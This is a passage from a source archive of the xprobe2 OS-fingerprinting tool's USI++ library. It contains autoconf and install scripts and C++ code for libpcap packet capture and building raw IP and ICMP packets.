;; *-gould) os=-sysv ;; *-highlevel) os=-bsd ;; *-encore) os=-bsd ;; *-sgi) os=-irix ;; *-siemens) os=-sysv4 ;; *-masscomp) os=-rtu ;; f30[01]-fujitsu | f700-fujitsu) os=-uxpv ;; *-rom68k) os=-coff ;; *-*bug) os=-coff ;; *-apple) os=-macos ;; *-atari*) os=-mint ;; *) os=-none ;; esac fi # Here we handle the case where we know the os, and the CPU type, but not the # manufacturer. We pick the logical manufacturer. vendor=unknown case $basic_machine in *-unknown) case $os in -riscix*) vendor=acorn ;; -sunos*) vendor=sun ;; -aix*) vendor=ibm ;; -beos*) vendor=be ;; -hpux*) vendor=hp ;; -mpeix*) vendor=hp ;; -hiux*) vendor=hitachi ;; -unos*) vendor=crds ;; -dgux*) vendor=dg ;; -luna*) vendor=omron ;; -genix*) vendor=ns ;; -mvs* | -opened*) vendor=ibm ;; -os400*) vendor=ibm ;; -ptx*) vendor=sequent ;; -tpf*) vendor=ibm ;; -vxsim* | -vxworks* | -windiss*) vendor=wrs ;; -aux*) vendor=apple ;; -hms*) vendor=hitachi ;; -mpw* | -macos*) vendor=apple ;; -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) vendor=atari ;; -vos*) vendor=stratus ;; esac basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"` ;; esac echo $basic_machine$os exit 0 # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "timestamp='" # time-stamp-format: "%:y-%02m-%02d" # time-stamp-end: "'" # End: xprobe2-0.3/libs-external/USI++/src/cfgaux/install-sh000755 001751 000000 00000012721 10271643767 022612 0ustar00mederwheel000000 000000 #! /bin/sh # # install - install a program, script, or datafile # This comes from X11R5 (mit/util/scripts/install.sh). # # Copyright 1991 by the Massachusetts Institute of Technology # # Permission to use, copy, modify, distribute, and sell this software and its # documentation for any purpose is hereby granted without fee, provided that # the above copyright notice appear in all copies and that both that # copyright notice and this permission notice appear in supporting # documentation, and that the name of M.I.T. not be used in advertising or # publicity pertaining to distribution of the software without specific, # written prior permission. M.I.T. makes no representations about the # suitability of this software for any purpose. It is provided "as is" # without express or implied warranty. # # Calling this script install-sh is preferred over install.sh, to prevent # `make' implicit rules from creating a file called install from it # when there is no Makefile. # # This script is compatible with the BSD install script, but was written # from scratch. It can only install one file at a time, a restriction # shared with many OS's install programs. # set DOITPROG to echo to test this script # Don't use :- since 4.3BSD and earlier shells don't like it. doit="${DOITPROG-}" # put in absolute paths if you don't have them in your path; or use env. vars. mvprog="${MVPROG-mv}" cpprog="${CPPROG-cp}" chmodprog="${CHMODPROG-chmod}" chownprog="${CHOWNPROG-chown}" chgrpprog="${CHGRPPROG-chgrp}" stripprog="${STRIPPROG-strip}" rmprog="${RMPROG-rm}" mkdirprog="${MKDIRPROG-mkdir}" transformbasename="" transform_arg="" instcmd="$mvprog" chmodcmd="$chmodprog 0755" chowncmd="" chgrpcmd="" stripcmd="" rmcmd="$rmprog -f" mvcmd="$mvprog" src="" dst="" dir_arg="" while [ x"$1" != x ]; do case $1 in -c) instcmd="$cpprog" shift continue;; -d) dir_arg=true shift continue;; -m) chmodcmd="$chmodprog $2" shift shift continue;; -o) chowncmd="$chownprog $2" shift shift continue;; -g) chgrpcmd="$chgrpprog $2" shift shift continue;; -s) stripcmd="$stripprog" shift continue;; -t=*) transformarg=`echo $1 | sed 's/-t=//'` shift continue;; -b=*) transformbasename=`echo $1 | sed 's/-b=//'` shift continue;; *) if [ x"$src" = x ] then src=$1 else # this colon is to work around a 386BSD /bin/sh bug : dst=$1 fi shift continue;; esac done if [ x"$src" = x ] then echo "install: no input file specified" exit 1 else true fi if [ x"$dir_arg" != x ]; then dst=$src src="" if [ -d $dst ]; then instcmd=: else instcmd=mkdir fi else # Waiting for this to be detected by the "$instcmd $src $dsttmp" command # might cause directories to be created, which would be especially bad # if $src (and thus $dsttmp) contains '*'. if [ -f $src -o -d $src ] then true else echo "install: $src does not exist" exit 1 fi if [ x"$dst" = x ] then echo "install: no destination specified" exit 1 else true fi # If destination is a directory, append the input filename; if your system # does not like double slashes in filenames, you may need to add some logic if [ -d $dst ] then dst="$dst"/`basename $src` else true fi fi ## this sed command emulates the dirname command dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'` # Make sure that the destination directory exists. # this part is taken from Noah Friedman's mkinstalldirs script # Skip lots of stat calls in the usual case. if [ ! -d "$dstdir" ]; then defaultIFS=' ' IFS="${IFS-${defaultIFS}}" oIFS="${IFS}" # Some sh's can't handle IFS=/ for some reason. IFS='%' set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'` IFS="${oIFS}" pathcomp='' while [ $# -ne 0 ] ; do pathcomp="${pathcomp}${1}" shift if [ ! -d "${pathcomp}" ] ; then $mkdirprog "${pathcomp}" else true fi pathcomp="${pathcomp}/" done fi if [ x"$dir_arg" != x ] then $doit $instcmd $dst && if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi && if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi && if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi && if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi else # If we're going to rename the final executable, determine the name now. if [ x"$transformarg" = x ] then dstfile=`basename $dst` else dstfile=`basename $dst $transformbasename | sed $transformarg`$transformbasename fi # don't allow the sed command to completely eliminate the filename if [ x"$dstfile" = x ] then dstfile=`basename $dst` else true fi # Make a temp file name in the proper directory. dsttmp=$dstdir/#inst.$$# # Move or copy the file name to the temp name $doit $instcmd $src $dsttmp && trap "rm -f ${dsttmp}" 0 && # and set any options; do chmod last to preserve setuid bits # If any of these fail, we abort the whole thing. If we want to # ignore errors from any of these, just make sure not to ignore # errors from the above "$doit $instcmd $src $dsttmp" command. if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi && if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi && if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi && if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi && # Now rename the file to the real destination. $doit $rmcmd -f $dstdir/$dstfile && $doit $mvcmd $dsttmp $dstdir/$dstfile fi && exit 0 xprobe2-0.3/libs-external/USI++/src/configure.in000755 001751 000000 00000002250 10271643767 021641 0ustar00mederwheel000000 000000 dnl Process this file with autoconf to produce a configure script. AC_INIT(ip.cc) AC_CONFIG_HEADER(config.h) AC_CONFIG_AUX_DIR(cfgaux) AC_CANONICAL_HOST dnl Checks for programs. AC_PROG_CXX AC_PROG_RANLIB AC_PROG_INSTALL dnl Checks for libraries. AC_CHECK_LIB(pcap, main,,echo Need libpcap installed;exit) dnl Check for pcap_setnonblock() AC_CHECK_LIB(pcap, pcap_setnonblock,AC_DEFINE(HAVE_PCAP_SETNONBLOCK,,pcap_setnonblock func is present),) dnl check for pcap was successfull case "$host" in *linux*) CFLAGS="$CFLAGS -fPIC" ;; *free*bsd*) CFLAGS="-DBROKEN_BSD -DIMMEDIATE $CFLAGS" ;; *bsd*) CFLAGS="$CFLAGS -DIMMEDIATE -fPIC" ;; *darwin*) CFLAGS="$CFLAGS -DDARWIN" ;; *) echo "Sorry, $host not supported yet." ;; esac AC_CHECK_LIB(socket, socket) AC_CHECK_LIB(nsl, inet_ntoa) dnl Checks for header files. AC_HEADER_STDC AC_CHECK_HEADERS(fcntl.h sys/ioctl.h sys/time.h unistd.h linux/filter.h) dnl Checks for typedefs, structures, and compiler characteristics. AC_C_CONST AC_TYPE_SIZE_T AC_HEADER_TIME AC_C_BIGENDIAN dnl Checks for library functions. AC_OUTPUT(Makefile) ln -s ../usi++ usi++||true rm -f usi++/config.h||true cp config.h usi++/config.h xprobe2-0.3/libs-external/USI++/src/datalink.cc000755 001751 000000 00000025123 10271643767 021432 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #include "config.h" #include "usi++/usi-structs.h" #include "usi++/datalink.h" #include #include #include #include #ifdef IMMEDIATE #include #endif namespace usipp { Pcap::Pcap() : RX() { // Initialize memset(d_filter_string, 0, sizeof(d_filter_string)); d_pd = NULL; memset(&d_tv, 0, sizeof(d_tv)); memset(d_dev, 0, sizeof(d_dev)); d_timeout = false; start = 0; } /* This constructor should be used to * initialize raw-d_datalink-objects, means not IP/TCP/ICMP etc. * We need this b/c unlike in derived classes, d_datalink::init_device() * cannot set a filter! */ Pcap::Pcap(char *filterStr) { // Initialize memset(d_filter_string, 0, sizeof(d_filter_string)); strncpy(d_filter_string, filterStr, sizeof(d_filter_string)); d_pd = NULL; memset(d_dev, 0, sizeof(d_dev)); start = 0; } Pcap::~Pcap() { if (d_pd != NULL) pcap_close(d_pd); } Pcap::Pcap(const Pcap &rhs) { if (this == &rhs) return; d_datalink = rhs.d_datalink; d_framelen = rhs.d_framelen; d_filter = rhs.d_filter; d_phdr = rhs.d_phdr; d_ether = rhs.d_ether; strncpy(d_filter_string, rhs.d_filter_string, sizeof(d_filter_string)); strncpy(d_dev, rhs.d_dev, sizeof(d_dev)); d_has_promisc = rhs.d_has_promisc; d_snaplen = rhs.d_snaplen; start = rhs.start; if (rhs.d_pd) init_device(d_dev, d_has_promisc, d_snaplen); return; } Pcap &Pcap::operator=(const Pcap &rhs) { if (this == &rhs) return *this; d_datalink = rhs.d_datalink; d_framelen = rhs.d_framelen; d_filter = rhs.d_filter; d_phdr = rhs.d_phdr; d_ether = rhs.d_ether; strncpy(d_filter_string, rhs.d_filter_string, sizeof(d_filter_string)); strncpy(d_dev, rhs.d_dev, sizeof(d_dev)); d_has_promisc = rhs.d_has_promisc; d_snaplen = rhs.d_snaplen; start = rhs.start; if (rhs.d_pd) { if (d_pd) pcap_close(d_pd); init_device(d_dev, d_has_promisc, d_snaplen); } return *this; } /* Return the actual d_datalink of the object. */ int Pcap::get_datalink() { return d_datalink; } /* Return the actual framlen of the object. * (d_framelen depends on d_datalink) */ int Pcap::get_framelen() { return d_framelen; } /* Fill buffer with src-hardware-adress of actuall packet, * use 'd_datalink' to determine what HW the device is. * Now only ethernet s supportet, but it's extensinable. */ char *Pcap::get_hwsrc(char *hwaddr, size_t len) { unsigned char *s; memset(hwaddr, 0, len); switch (d_datalink) { case DLT_EN10MB: if (len < 2*ETH_ALEN) return NULL; s = d_ether.ether_shost; sprintf(hwaddr, "%02x:%02x:%02x:%02x:%02x:%02x", (u_char)*s, (u_char)*(s+1), (u_char)*(s+2), (u_char)*(s+3), (u_char)*(s+4), (u_char)*(s+5)); break; default: return NULL; } return hwaddr; } /* Fill buffer with dst-hardware-adress of actuall packet, * use 'd_datalink' to determine what HW the device is. * Now only ethernet s supportet. */ char *Pcap::get_hwdst(char *hwaddr, size_t len) { unsigned char *s; memset(hwaddr, 0, len); switch (d_datalink) { case DLT_EN10MB: if (len < 2*ETH_ALEN) return NULL; s = d_ether.ether_dhost; sprintf(hwaddr, "%02x:%02x:%02x:%02x:%02x:%02x", (u_char)*s, (u_char)*(s+1), (u_char)*(s+2), (u_char)*(s+3), (u_char)*(s+4), (u_char)*(s+5)); break; default: return NULL; } return hwaddr; } /* Get protocol-type of ethernet-frame * Maybe moves to ethernet-class in future? */ u_int16_t Pcap::get_etype() { return ntohs(d_ether.ether_type); } /* Initialize a device ("eth0" for example) for packet- * capturing. It MUST be called before sniffpack() is launched. * Set 'promisc' to 1 if you want the device running in promiscous mode. * Fetch at most 'd_snaplen' bytes per call. */ int Pcap::init_device(char *dev, int promisc, size_t d_snaplen) { char ebuf[PCAP_ERRBUF_SIZE]; memset(ebuf, 0, PCAP_ERRBUF_SIZE); if ((d_pd = pcap_open_live(dev, d_snaplen, promisc, 500, ebuf)) == NULL) { die(ebuf, STDERR, 1); } // Ehem, BSD workarounnd. BSD won't timeout on select() // unless we force immediate return for read() (in pcap) // for uncomplete packets (queue not full?) #ifdef IMMEDIATE int v = 1; if (ioctl(pcap_fileno(d_pd), BIOCIMMEDIATE, &v) < 0) { snprintf(ebuf, sizeof(ebuf), "Pcap::init_device::ioctl(..., BIOCIMMEDIATE, 1) %s", strerror(errno)); die(ebuf, STDERR, 1); } #endif if (pcap_lookupnet(dev, &d_localnet, &d_netmask, ebuf) < 0) { snprintf(ebuf, sizeof(ebuf), "Pcap::init_device::pcap_lookupnet: %s\n", pcap_geterr(d_pd)); die(ebuf, STDERR, 1); } /* The d_filter_string must be filled by derived classes, such * as IP, where the virtual init_device() simply sets d_filter_string * to "ip" and then calls Pcap::init_device(). */ if (pcap_compile(d_pd, &d_filter, d_filter_string, 1, d_netmask) < 0) { snprintf(ebuf, sizeof(ebuf), "Pcap::init_device::pcap_compile: %s\n", pcap_geterr(d_pd)); die(ebuf, STDERR, 1); } if (pcap_setfilter(d_pd, &d_filter) < 0) { snprintf(ebuf, sizeof(ebuf), "Pcap::init_device::pcap_setfilter: %s\n", pcap_geterr(d_pd)); die(ebuf, STDERR, 1); } if ((d_datalink = pcap_datalink(d_pd)) < 0) { snprintf(ebuf, sizeof(ebuf), "Pcap::init_device::pcap_d_datalink: %s\n", pcap_geterr(d_pd)); die(ebuf, STDERR, 1); } // turn d_datalink into d_framelen switch (d_datalink) { case DLT_EN10MB: d_framelen = sizeof(d_ether); break; case DLT_PPP: d_framelen = 4; /* shouldn't be 4 */ break; case DLT_PPP_BSDOS: d_framelen = 24; break; case DLT_SLIP: d_framelen = 24; break; case DLT_RAW: d_framelen = 0; break; // loopback #ifdef DLT_LOOP case DLT_LOOP: #endif case DLT_NULL: d_framelen = 4; break; #ifdef DLT_LINUX_SLL case DLT_LINUX_SLL: d_framelen = 16; break; #endif default: printf("%d %d\n", d_datalink, DLT_RAW); fprintf(stderr, "Datalink type: %i not supported. Report!\n", d_datalink); die("Pcap::init_device: Unknown d_datalink.\n", STDERR, 1); } strncpy(d_dev, dev, sizeof(d_dev)); d_has_promisc = promisc; d_snaplen = d_snaplen; set_nonblock(); return 0; } /* set a new filter for capturing */ int Pcap::setfilter(char *s) { char ebuf[PCAP_ERRBUF_SIZE]; memset(ebuf, 0, PCAP_ERRBUF_SIZE); if (!d_pd) die("Pcap::setfilter: Device not initialized.\n", STDERR, 1); memset(d_filter_string, 0, sizeof(d_filter_string)); snprintf(d_filter_string, sizeof(d_filter_string), "%s", s); if (pcap_compile(d_pd, &d_filter, d_filter_string, 1, d_netmask) < 0) { snprintf(ebuf, sizeof(ebuf), "Pcap::setfilter::pcap_compile: %s\n", pcap_geterr(d_pd)); die(ebuf, STDERR, 1); } if (pcap_setfilter(d_pd, &d_filter) < 0) { snprintf(ebuf, sizeof(ebuf), "Pcap::setfilter::pcap_setfilter: %s\n", pcap_geterr(d_pd)); die(ebuf, STDERR, 1); } set_nonblock(); return 0; } int Pcap::sniffpack(void *s, size_t len) { char *tmp; memset(s, 0, len); d_timeout = false; if (!d_pd) die("Pcap::sniffpack: Device not initialized.\n", STDERR, 1); /* XXX: with select() packets on loopback interface are lost * so we leave it out for now * if (d_tv.tv_sec != 0 || d_tv.tv_usec != 0) { // TO was set while (1) { fd_set rset; FD_ZERO(&rset); int fd = pcap_fileno(d_pd); FD_SET(fd, &rset); timeval tmp = d_tv; // wait for packet int sr; if ((sr=select(fd+1, &rset, NULL, NULL, &tmp)) < 0) { if (errno == EINTR) continue; else return -1; } else if (sr == 0) { // timed out d_timeout = true; return 0; } else // got packet break; } } */ /* XXX: there is a bug on linux when select() returns 1, but pcap_next() * returns NULL */ if (start == 0) // first time sniffpack() is called start = time(NULL); if (d_tv.tv_sec != 0 || d_tv.tv_usec != 0) { // timeout set /* while ((tmp = (char*)pcap_next(d_pd, &d_phdr)) == NULL) if ((time(NULL) - start) > d_tv.tv_sec) { d_timeout = true; start = 0; return 0; } */ while (1) { if ((time(NULL) - start) > d_tv.tv_sec) { d_timeout = true; start = 0; return 0; } tmp = (char*)pcap_next(d_pd, &d_phdr); if (tmp != NULL) { break; } } } else { // no timeout set, loop until we get some kind of packet while ((tmp = (char*)pcap_next(d_pd, &d_phdr)) == NULL) ; } switch (d_datalink) { case DLT_EN10MB: memcpy(&d_ether, tmp, d_framelen); break; case DLT_PPP: break; case DLT_PPP_BSDOS: break; case DLT_SLIP: break; case DLT_RAW: break; #ifdef DLT_LOOP case DLT_LOOP: #endif case DLT_NULL: break; #ifdef DLT_LINUX_SLL case DLT_LINUX_SLL: break; #endif default: die("Pcap::sniffpack: Unknown d_datalink.\n", STDERR, 1); } #ifdef USI_DEBUG cerr<<"Pcap::d_phdr.len="< #include #include namespace usipp { ICMP::ICMP(const char* host) #ifndef IPPROTO_ICMP #define IPPROTO_ICMP 1 #endif : IP(host, IPPROTO_ICMP) { // clear memory memset(&icmphdr, 0, sizeof(icmphdr)); } ICMP::ICMP(u_int32_t dst) : IP(dst, IPPROTO_ICMP) { memset(&icmphdr, 0, sizeof(icmphdr)); } ICMP::~ICMP() { } ICMP::ICMP(const ICMP &rhs) : IP(rhs) { if (this == &rhs) return; this->icmphdr = rhs.icmphdr; } ICMP &ICMP::operator=(const ICMP &rhs) { if (this == &rhs) return *this; IP::operator=(rhs); this->icmphdr = rhs.icmphdr; return *this; } ICMP &ICMP::operator=(const IP &rhs) { iphdr iph; if (this == &rhs) return *this; IP::operator=(rhs); iph = IP::get_iphdr(); icmphdr = *(struct icmphdr *)((char *)&iph + IP::get_hlen() * 4); return *this; } /* Set the type-field in the actuall ICMP-packet. */ int ICMP::set_type(u_int8_t t) { icmphdr.type = t; return 0; } /*! Get the type-field from the actuall ICMP-packet. */ u_int8_t ICMP::get_type() { return icmphdr.type; } /* Set ICMP-code. */ int ICMP::set_code(u_int8_t c) { icmphdr.code = c; return 0; } /* Get ICMP-code. */ u_int8_t ICMP::get_code() { return icmphdr.code; } int ICMP::set_gateway(u_int32_t g) { icmphdr.un.gateway = htonl(g); return 0; } u_int32_t ICMP::get_gateway() { return ntohl(icmphdr.un.gateway); } int ICMP::set_mtu(u_int16_t mtu) { icmphdr.un.frag.mtu = mtu; return 0; } u_int16_t ICMP::get_mtu() { return icmphdr.un.frag.mtu; } /* Set id field in the actuall ICMP-packet */ int ICMP::set_icmpId(u_int16_t id) { icmphdr.un.echo.id = id; return 0; } /* Get the id field from actuall ICMP-packet. */ u_int16_t ICMP::get_icmpId() { return icmphdr.un.echo.id; } /* Set the sequecenumber of the actuall ICMP-packet. */ int ICMP::set_seq(u_int16_t s) { icmphdr.un.echo.sequence = s; return 0; } /* Get the sequence-number of actuall ICMP-packet */ u_int16_t ICMP::get_seq() { return icmphdr.un.echo.sequence; } /* get orig datagram from icmp unreachable * */ iphdr ICMP::get_orig() { iphdr iph = *(iphdr *)((char *)(&icmphdr + 1)); return iph; } /* send an ICMP-packet containing 'payload' which * is 'paylen' bytes long */ int ICMP::sendpack(void *payload, size_t paylen) { size_t len = sizeof(struct icmphdr) + paylen; // the packetlenght struct icmphdr *i; // s will be our packet char *s = new char[len]; memset(s, 0, len); // copy ICMP header to packet memcpy((char*)s, (struct icmphdr*)&this->icmphdr, sizeof(icmphdr)); if (payload) memcpy(s+sizeof(icmphdr), payload, paylen); i = (struct icmphdr*)s; // calc checksum over packet //i->sum = 0; if (i->sum == 0) i->sum = in_cksum((unsigned short*)s, len, 0); int r = IP::sendpack(s, len); delete[] s; return r; } /* send a ICMP-packet with string 'payload' as payload. */ int ICMP::sendpack(char *payload) { return sendpack(payload, strlen(payload)); } /* send standard UNIX-like ICMP echo request payload */ int ICMP::send_ping_payload() { struct _Timestamp { u_int sec; u_int usec; } Timestamp; struct timeval tv; int tocopy, iii=0; char payload[PING_PAYLOAD_SIZE]; if ((gettimeofday(&tv, NULL)) < 0) die ("ICMP::send_ping_payload: gettimeofday()", PERROR, 1); Timestamp.sec = htonl(tv.tv_sec); Timestamp.usec = htonl(tv.tv_usec); tocopy = PING_PAYLOAD_SIZE; while (tocopy > 0) { payload[iii] = iii; tocopy--; iii++; } memcpy (payload, &Timestamp, sizeof(Timestamp)); return sendpack(payload, PING_PAYLOAD_SIZE); } int ICMP::send_timestamp_payload() { struct timeval tv; char payload[TIMESTAMP_PAYLOAD_SIZE]; if ((gettimeofday(&tv, NULL)) < 0) die("ICMP::send_timestamp_payload: gettimeofday()", PERROR, 1); memset (payload, 0, TIMESTAMP_PAYLOAD_SIZE); tv.tv_usec = htonl(tv.tv_usec); memcpy(payload, &tv.tv_usec, sizeof(tv.tv_usec)); return sendpack(payload, TIMESTAMP_PAYLOAD_SIZE); } int ICMP::send_addrmask_payload() { char payload[ADDRMASK_PAYLOAD_SIZE]; memset (payload, 0, ADDRMASK_PAYLOAD_SIZE); return sendpack(payload, ADDRMASK_PAYLOAD_SIZE); } /* handle packets, that are NOT actually for the * local adress! */ int ICMP::sniffpack(void *s, size_t len) { size_t plen = len + sizeof(struct icmphdr); char *tmp = new char[plen]; int r = 0; memset(s, 0, len); memset(tmp, 0, plen); r = IP::sniffpack(tmp, plen); if (r == 0 && Layer2::timeout()) { // timeout delete[] tmp; return 0; } // point to ICMP header struct icmphdr *icmph = (struct icmphdr*)(tmp); memset(&icmphdr, 0, sizeof(icmphdr)); // save ICMP header for public functions memcpy(&icmphdr, icmph, sizeof(struct icmphdr)); // and give user the payload if (s) memcpy(s, ++icmph, len); delete[] tmp; return r - sizeof(struct icmphdr); } /* Initialize a device ("eth0" for example) for packet- * capturing. It MUST be called before sniffpack() is launched. * Set 'promisc' to 1 if you want the device running in promiscous mode. * Fetch at most 'snaplen' bytes per call. */ int ICMP::init_device(char *dev, int promisc, size_t snaplen) { int r = Layer2::init_device(dev, promisc, snaplen); if (r < 0) die("ICMP::init_device", STDERR, 1); r = Layer2::setfilter("icmp"); if (r < 0) die("ICMP::init_device", STDERR, 1); return r; } } // namespace usipp xprobe2-0.3/libs-external/USI++/src/ip.cc000755 001751 000000 00000036312 10271643767 020255 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #include "usi++/usi-structs.h" #include "usi++/datalink.h" #include "usi++/ip.h" #include "config.h" #include #include #include #include #include namespace usipp { /* Create a IP-packet, with 'dst' for destination-adress. * Set the protocol-filed in the IP-header to 'proto'. * This is used by the derived classes (TCP etc.) to set * the correct protocol (IPPROTO_TCP etc.) */ IP::IP(const char *dst, u_int8_t proto) : Layer2() { memset(&iph, 0, sizeof(iph)); memset(ipOptions, 0, sizeof(ipOptions)); srand(time(NULL)); iph.ttl = 64; iph.version = 4; iph.ihl = 5; // iph.id = 0; /* We set the IP ID * since for fingerprinting we * need to be able to know what * was the IP ID of the packet we * sent, cuz if we don't we'll get 0 */ iph.id = rand(); iph.check = 0; iph.protocol = proto; iph.tot_len = 0; memset(host, 0, sizeof(host)); // ask for local hostname /* if (gethostname(host, sizeof(host)-1) < 0) { perror("gethostname"); fprintf(stderr, "using INADDR_ANY for src-IP."); set_src(INADDR_ANY); } * by meder: we dont' want to set the src host here, * as it causes problem when there's no entry in /etc/hosts * for the localhost. * user just has to make sure he/she calls set_src(); else set_src(host); */ set_dst(dst); // what in sendpack must be set is: // tot_len, check, frag_off } /* Same as above, but use networkbyte-ordered int32 for destination-adress. * This is usefull in case you do sth. like ip.set_src(ip2.get_src()) */ IP::IP(u_int32_t dst, u_int8_t proto) : Layer2() { memset(&iph, 0, sizeof(iph)); memset(ipOptions, 0, sizeof(ipOptions)); srand(time(NULL)); iph.ttl = 64; iph.version = 4; iph.ihl = 5; //iph.id = 0; iph.id = rand(); iph.protocol = proto; memset(host, 0, sizeof(host)); // ask for local hostname /* if (gethostname(host, sizeof(host)-1) < 0) { perror("gethostname"); fprintf(stderr, "using INADDR_ANY for src-IP."); set_src(INADDR_ANY); } * by meder: we dont' want to set the src host here, * as it causes problem when there's no entry in /etc/hosts * for the localhost. * user just has to make sure he/she calls set_src(); else set_src(host); */ set_dst(dst); } /* Same as above */ IP::IP(iphdr &iphh) : Layer2() { memcpy(&iph, &iphh, sizeof(iphh)); memset(ipOptions, 0, sizeof(ipOptions)); } /* Assign-operator */ IP& IP::operator=(const IP &rhs) { if (this == &rhs) return *this; Layer2::operator=(rhs); // and just copy header and such memcpy(host, rhs.host, sizeof(host)); memcpy(&iph, &rhs.iph, sizeof(iph)); memcpy(ipOptions, rhs.ipOptions, sizeof(ipOptions)); memcpy(&saddr, &rhs.saddr, sizeof(saddr)); return *this; } /* copy-construktor */ IP::IP(const IP &rhs) : Layer2(rhs) { if (this == &rhs) return; memcpy(host, rhs.host, sizeof(host)); memcpy(&iph, &rhs.iph, sizeof(iph)); memcpy(ipOptions, rhs.ipOptions, sizeof(ipOptions)); memcpy(&saddr, &rhs.saddr, sizeof(saddr)); } IP::~IP() { } /* Get IP header-length */ u_int8_t IP::get_hlen() const { return iph.ihl; } /* Set IP-header-length. */ int IP::set_hlen(u_int8_t l) { iph.ihl = l; return 0; } /* Get Ip-version field. */ u_int8_t IP::get_vers() const { return iph.version; } /* Set version field in IP-header. */ int IP::set_vers(u_int8_t v) { iph.version = v; return 0; } u_int8_t IP::get_tos() const { return iph.tos; } int IP::set_tos(u_int8_t tos) { iph.tos = tos; return 0; } /* Get total length of IP-packet. */ u_int16_t IP::get_totlen() const { return ntohs(iph.tot_len); } /* Set total length of IP-packet. * If you set the total length by yourself, you will prevent the * sendpack() routine to do it. This is normally _not_ needed. */ int IP::set_totlen(u_int16_t t) { /* XXX meder: we move handling of all * os the BROKEN_BSD cases into sendpack() * because now for example if you do set_totlen() * or set_fragoff() and then right after that * you do get_fragoff() it will return different value * on BROKEN_BSD, this is because on BROKEN_BSD those * values are in host byte order and get_*() return * ntoh'ed values * Basically we want to enforce network byte order in * those fields and then just change byte order when * calling sendpack() to approriate if run on BROKEN_BSD */ /* #ifdef BROKEN_BSD iph.tot_len = t; #else iph.tot_len = htons(t); #endif */ iph.tot_len = htons(t); return 0; } /* Get the IP id field. */ u_int16_t IP::get_id() const { return ntohs(iph.id); } /* Set the IP id field. */ int IP::set_id(u_int16_t id) { iph.id = htons(id); return 0; } /* Get the IP-fragmentation offset */ u_int16_t IP::get_fragoff() const { return ntohs(iph.frag_off); } /* Set the IP-fragmentation offset */ int IP::set_fragoff(u_int16_t f) { /* XXX meder: see comment for set_totlen */ /* #ifdef BROKEN_BSD iph.frag_off = f; #else iph.frag_off = htons(f); #endif */ iph.frag_off = htons(f); return 0; } /* Get time to live. */ u_int8_t IP::get_ttl() const { return iph.ttl; } /* Set 'time to live' */ int IP::set_ttl(u_int8_t ttl) { iph.ttl = ttl; return 0; } /* Obtain the actuall protocol. */ u_int8_t IP::get_proto() const { return iph.protocol; } /* Change the protocol-filed of IP header to 'p' in case * you need to. */ int IP::set_proto(u_int8_t p) { iph.protocol = p; return 0; } /* Get IP-header checksum */ u_int16_t IP::get_sum() const { return iph.check; } /* Calculate IP-header checksum * calculated over ip header * only calcs, doesn't set anything */ u_int16_t IP::calc_ipsum() { u_int16_t csum; /* #ifdef BROKEN_BSD iph.tot_len = htons(iph.tot_len); iph.frag_off = htons(iph.frag_off); #endif */ csum = in_cksum ( (unsigned short *) &iph, sizeof(iph), 0 ); /* #ifdef BROKEN_BSD iph.tot_len = ntohs(iph.tot_len); iph.frag_off = ntohs(iph.frag_off); #endif */ return csum; } /* Set IP-header checksum * Should not be used as long as you don't want to * insert bad checksums into the header. */ int IP::set_sum(u_int16_t s) { iph.check = s; return 0; } /* Get the destination-adress in networkbyteorder. */ u_int32_t IP::get_dst() const { return iph.daddr; } /* Get the destination-adress in human-readable form. * If resolv == 1, then resolve to a hostname if possible, * otherwise give back IP (resolv == 0). */ char *IP::get_dst(int resolv, char *s, size_t len) { struct in_addr in; struct hostent *he; memset(s, 0, len); in.s_addr = iph.daddr; if (!resolv || (he = gethostbyaddr((char*)&in, sizeof(in), AF_INET)) == NULL) strncpy(s, inet_ntoa(in), len); else strncpy(s, he->h_name, len); return s; } /* Return the source-adress of actuall IP-packet * in network-byte order. */ u_int32_t IP::get_src() const { return iph.saddr; } /* Get the sourceadress in human-readable form. * If 'resolv' == 1, return hostname, if 0 only IP-adress. */ char *IP::get_src(int resolv, char *s, size_t len) { struct in_addr in; struct hostent *he; memset(s, 0, len); in.s_addr = iph.saddr; if (!resolv || (he = gethostbyaddr((char*)&in, sizeof(in), AF_INET)) == NULL) strncpy(s, inet_ntoa(in), len); else strncpy(s, he->h_name, len); return s; } /* Set the source-adress, use networkbyteorderes adress. */ int IP::set_src(u_int32_t s) { iph.saddr = s; return 0; } /* Set the sourceadress, use hostname or IP. */ int IP::set_src(const char* host) { struct hostent *he; if ((he = gethostbyname(host)) == NULL) { herror("IP::set_src::gethostbyname"); exit(errno); } memcpy(&iph.saddr, he->h_addr, he->h_length); return 0; } /* Set destination adress. */ int IP::set_dst(u_int32_t d) { iph.daddr = d; return 0; } /*! Set destinationadress, similar to set_src() */ int IP::set_dst(const char* host) { struct hostent *he; if ((he = 